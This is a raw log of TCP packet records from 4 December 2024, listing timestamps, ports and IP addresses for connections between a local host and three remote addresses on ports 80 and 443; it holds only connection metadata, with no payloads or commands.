Dec 4, 2024 15:12:33.198914051 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.198945999 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.199033976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.199048996 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.199112892 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.200923920 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201009989 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.201052904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201065063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201098919 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.201148033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201160908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201174021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201185942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201200008 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.201230049 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.201318979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201591969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201646090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201658964 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201694012 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.201709986 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.201788902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201814890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201827049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201864958 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.201939106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.201983929 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.202387094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202522993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202538013 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202574968 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.202650070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202661037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202672005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202685118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202702045 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.202742100 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.202820063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.202975035 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.203233957 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.203295946 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.203310013 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.203356981 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.203438997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.203450918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.203464985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.203480005 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.203505039 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.203918934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204004049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204020977 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204091072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204102993 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.204132080 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.204139948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204268932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204282045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204294920 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204313040 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.204336882 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.204777002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204857111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204869032 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204924107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.204976082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.204988003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205001116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205032110 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.205045938 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.205176115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205188036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205240011 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.205648899 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205696106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205708027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205739021 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.205828905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.205873966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.206116915 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206195116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206207037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206248045 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.206352949 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206365108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206377029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206398964 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.206429005 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.206502914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206521034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.206568003 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.206974030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.207048893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.207060099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.207117081 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.207154036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.207165956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.207175970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.207189083 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.207226038 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.208384991 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.347678900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.347702980 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.347758055 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.347795010 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.347807884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.347863913 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.347899914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.347912073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.347918987 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.347959995 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.352524042 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352583885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352587938 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.352596045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352670908 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.352689981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352714062 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352768898 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.352855921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352874041 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352879047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.352936983 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.353113890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353126049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353140116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353153944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353171110 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353173018 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.353183985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353204966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.353229046 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.353429079 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353430986 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353497028 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.353560925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353573084 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353585005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353610992 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.353631020 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.353805065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353820086 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353832006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353844881 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353857994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.353884935 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.354295969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.354332924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.354346991 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.354350090 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.354440928 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.354520082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.354546070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.354557991 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.354571104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.354593039 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.354623079 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.354765892 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.355236053 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.355290890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.355338097 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.391036034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391108036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.391136885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391151905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391202927 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.391205072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391220093 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391257048 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.391362906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391375065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391386986 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.391417027 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.393403053 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393446922 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.393511057 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393523932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393557072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.393611908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393625021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393678904 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.393754005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393800020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393816948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393879890 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.393938065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.393985033 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.394001007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394012928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394025087 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394053936 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.394320965 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394332886 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394367933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.394583941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394629002 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.394721031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394731998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394782066 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.394886017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394897938 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394910097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.394937038 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.395034075 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395143032 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.395422935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395510912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395523071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395574093 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.395638943 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395716906 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.395813942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395829916 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395840883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.395874977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.396560907 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.396615982 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.396651030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.396665096 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.396698952 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.396827936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.396852016 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.396858931 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.396897078 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.397172928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.397183895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.397221088 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.397862911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.397903919 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.397934914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.397948027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.397994995 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.398246050 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398257971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398269892 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398298979 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.398380041 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398423910 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.398453951 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398861885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398883104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398895025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.398901939 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.398956060 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.398988962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399285078 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399341106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399341106 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.399353981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399401903 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.399473906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399486065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399497986 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399509907 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.399532080 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.399559021 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.399672031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.400104046 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.400149107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.400161028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.400172949 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.400202990 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.400279045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.400336027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.400346994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.400378942 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.402229071 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.550518990 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550568104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550579071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550622940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550637007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550637960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.550668955 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.550821066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550872087 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.550908089 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550920010 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.550959110 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.551163912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551240921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551249027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551289082 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.551359892 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551377058 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551388979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551407099 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.551412106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551433086 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.551719904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551764011 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.551794052 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551805019 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551839113 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.551896095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551966906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.551980019 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552020073 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.552078009 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552089930 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552109003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552122116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552124977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.552146912 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.552306890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552381039 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.552747011 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552819014 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552829981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552869081 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.552961111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552972078 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.552980900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:33.553013086 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.553026915 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:33.958101988 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:47.460161924 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:47.460195065 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:47.460283041 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:47.468539000 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:47.468553066 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:48.688003063 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:48.688199997 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:48.691900969 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:48.691909075 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:48.692142963 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:48.731822968 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:48.745136023 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:48.791331053 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:49.154575109 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:49.154692888 CET	443	49836	172.67.70.233	192.168.2.10
Dec 4, 2024 15:12:49.155021906 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:49.158363104 CET	49836	443	192.168.2.10	172.67.70.233
Dec 4, 2024 15:12:49.496303082 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:49.496357918 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:49.496932030 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:49.497515917 CET	49841	443	192.168.2.10	149.154.167.220
Dec 4, 2024 15:12:49.497531891 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.229599953 CET	443	49841	149.154.167.220	192.168.2.10
Dec 4, 2024 15:12:52.229721069 CET	49841	443	192.168.2.10	149.154.167.220
